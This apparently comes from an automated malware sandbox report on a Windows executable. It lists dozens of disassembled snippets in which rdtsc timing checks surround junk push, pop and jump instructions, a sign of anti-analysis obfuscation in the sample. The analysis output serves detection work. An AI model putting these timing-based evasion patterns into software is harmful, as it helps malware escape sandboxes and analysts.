Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9CAD74 second address: 9CAD78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9CB5A6 second address: 9CB5B3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE5B8F4A746h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9CB5B3 second address: 9CB5D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE5B8D9CB67h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9D4B70 second address: 9D4B74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9D449C second address: 9D44A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9D44A0 second address: 9D44A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9D4788 second address: 9D4799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jmp 00007FE5B8D9CB5Ah 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9D4799 second address: 9D47A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9DA91C second address: 9DA920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9DAA95 second address: 9DAA9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9DAED7 second address: 9DAEDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9DB44D second address: 9DB46A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A753h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9DB46A second address: 9DB470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9DB470 second address: 9DB474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9DB474 second address: 9DB478 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9DB478 second address: 9DB47E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9DB47E second address: 9DB4CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop esi 0x0000000f pushad 0x00000010 jmp 00007FE5B8D9CB67h 0x00000015 jg 00007FE5B8D9CB56h 0x0000001b jnl 00007FE5B8D9CB56h 0x00000021 jmp 00007FE5B8D9CB5Eh 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9DB4CF second address: 9DB4DD instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE5B8F4A748h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9E1C60 second address: 9E1C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE5B8D9CB60h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9E1C80 second address: 9E1C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9E1C84 second address: 9E1C94 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE5B8D9CB56h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9E1C94 second address: 9E1C9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9E1C9A second address: 9E1C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 92ED6C second address: 92ED72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9E7DB5 second address: 9E7DB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9F5A8D second address: 9F5AAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 jmp 00007FE5B8F4A74Eh 0x0000000c pushad 0x0000000d je 00007FE5B8F4A746h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9F54A7 second address: 9F54AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9F54AF second address: 9F54B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9F54B3 second address: 9F54C9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FE5B8D9CB5Ch 0x00000010 jo 00007FE5B8D9CB56h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9F54C9 second address: 9F54D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9F54D1 second address: 9F54D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9F54D5 second address: 9F54D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9F54D9 second address: 9F54F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE5B8D9CB65h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9FFDEA second address: 9FFDEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9FFDEE second address: 9FFE09 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE5B8D9CB61h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9FFE09 second address: 9FFE3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A750h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a je 00007FE5B8F4A79Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE5B8F4A753h 0x00000017 jg 00007FE5B8F4A746h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 9FFE3F second address: 9FFE74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8D9CB5Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE5B8D9CB61h 0x00000012 jmp 00007FE5B8D9CB5Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A021E8 second address: A021F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jg 00007FE5B8F4A746h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A09D98 second address: A09D9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A09D9C second address: A09DA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A09DA2 second address: A09DC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007FE5B8D9CB56h 0x0000000d jne 00007FE5B8D9CB56h 0x00000013 pushad 0x00000014 popad 0x00000015 je 00007FE5B8D9CB56h 0x0000001b popad 0x0000001c jng 00007FE5B8D9CB5Eh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A09BD8 second address: A09C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE5B8F4A752h 0x0000000a jo 00007FE5B8F4A746h 0x00000010 jnp 00007FE5B8F4A746h 0x00000016 jmp 00007FE5B8F4A752h 0x0000001b push esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A0D16C second address: A0D170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A0D170 second address: A0D18E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A74Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FE5B8F4A74Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A0D18E second address: A0D1A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5B8D9CB61h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A0D1A4 second address: A0D1A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A1176F second address: A1177A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A1177A second address: A1177E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A11A6A second address: A11A75 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 ja 00007FE5B8D9CB56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A11D36 second address: A11D3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A11E85 second address: A11E8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A11E8B second address: A11E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A11E91 second address: A11E95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A12038 second address: A12044 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A12044 second address: A1204A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A1218F second address: A12196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A16A5A second address: A16A5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A16A5F second address: A16A6D instructions: 0x00000000 rdtsc 0x00000002 js 00007FE5B8F4A748h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A16A6D second address: A16A71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A16A71 second address: A16A84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A74Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A165CF second address: A16622 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FE5B8D9CB68h 0x00000008 pop ecx 0x00000009 jp 00007FE5B8D9CB58h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007FE5B8D9CB62h 0x00000019 jmp 00007FE5B8D9CB69h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A214DA second address: A2151C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE5B8F4A755h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007FE5B8F4A759h 0x00000011 pop edx 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE5B8F4A74Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A2151C second address: A21520 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A21520 second address: A21530 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE5B8F4A746h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A4DBE1 second address: A4DBE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A4DEB5 second address: A4DEC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FE5B8F4A746h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A4E568 second address: A4E572 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FE5B8D9CB56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A4E6F7 second address: A4E6FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A4E6FB second address: A4E717 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE5B8D9CB60h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A54426 second address: A54430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A54430 second address: A54441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5B8D9CB5Ch 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A57D38 second address: A57D3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A57D3C second address: A57D40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: A57D40 second address: A57D5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FE5B8F4A752h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50F00A3 second address: 50F00A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50F00A9 second address: 50F00AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 512016C second address: 51201BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE5B8D9CB5Fh 0x00000009 adc al, FFFFFFFEh 0x0000000c jmp 00007FE5B8D9CB69h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 jmp 00007FE5B8D9CB5Ch 0x0000001d mov ax, 79D1h 0x00000021 popad 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 mov edi, 14D4043Ch 0x0000002b pushad 0x0000002c popad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B00B9 second address: 50B00BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B00BD second address: 50B00C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B00C3 second address: 50B0124 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE5B8F4A74Ch 0x00000009 or esi, 44650478h 0x0000000f jmp 00007FE5B8F4A74Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FE5B8F4A758h 0x0000001b jmp 00007FE5B8F4A755h 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 xchg eax, ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 movsx ebx, ax 0x0000002b mov eax, 092D119Bh 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B0124 second address: 50B0174 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 mov bx, D64Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FE5B8D9CB64h 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 mov esi, 75D5122Dh 0x0000001a mov si, A429h 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 jmp 00007FE5B8D9CB64h 0x00000026 push dword ptr [ebp+04h] 0x00000029 pushad 0x0000002a mov si, 2B0Dh 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B0174 second address: 50B0178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50B0178 second address: 50B01B6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push dword ptr [ebp+0Ch] 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FE5B8D9CB5Eh 0x00000011 and si, 6858h 0x00000016 jmp 00007FE5B8D9CB5Bh 0x0000001b popfd 0x0000001c mov ecx, 182A290Fh 0x00000021 popad 0x00000022 push dword ptr [ebp+08h] 0x00000025 pushad 0x00000026 mov cx, 2B07h 0x0000002a push eax 0x0000002b push edx 0x0000002c mov bx, cx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50D0749 second address: 50D07AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, CFh 0x00000005 mov cx, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov ch, DCh 0x0000000f mov ax, di 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 jmp 00007FE5B8F4A759h 0x00000019 mov ebp, esp 0x0000001b jmp 00007FE5B8F4A74Eh 0x00000020 pop ebp 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FE5B8F4A74Eh 0x00000028 xor al, FFFFFF88h 0x0000002b jmp 00007FE5B8F4A74Bh 0x00000030 popfd 0x00000031 push eax 0x00000032 push edx 0x00000033 mov ecx, 74C8AD15h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50D0696 second address: 50D069C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50D069C second address: 50D06A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50D06A0 second address: 50D06DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov bx, cx 0x0000000d mov eax, 035CEFD7h 0x00000012 popad 0x00000013 mov dword ptr [esp], ebp 0x00000016 jmp 00007FE5B8D9CB5Ah 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FE5B8D9CB67h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50D03F1 second address: 50D0408 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5B8F4A753h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50D0408 second address: 50D040E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	RDTSC instruction interceptor: First address: 50E01E3 second address: 50E01E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
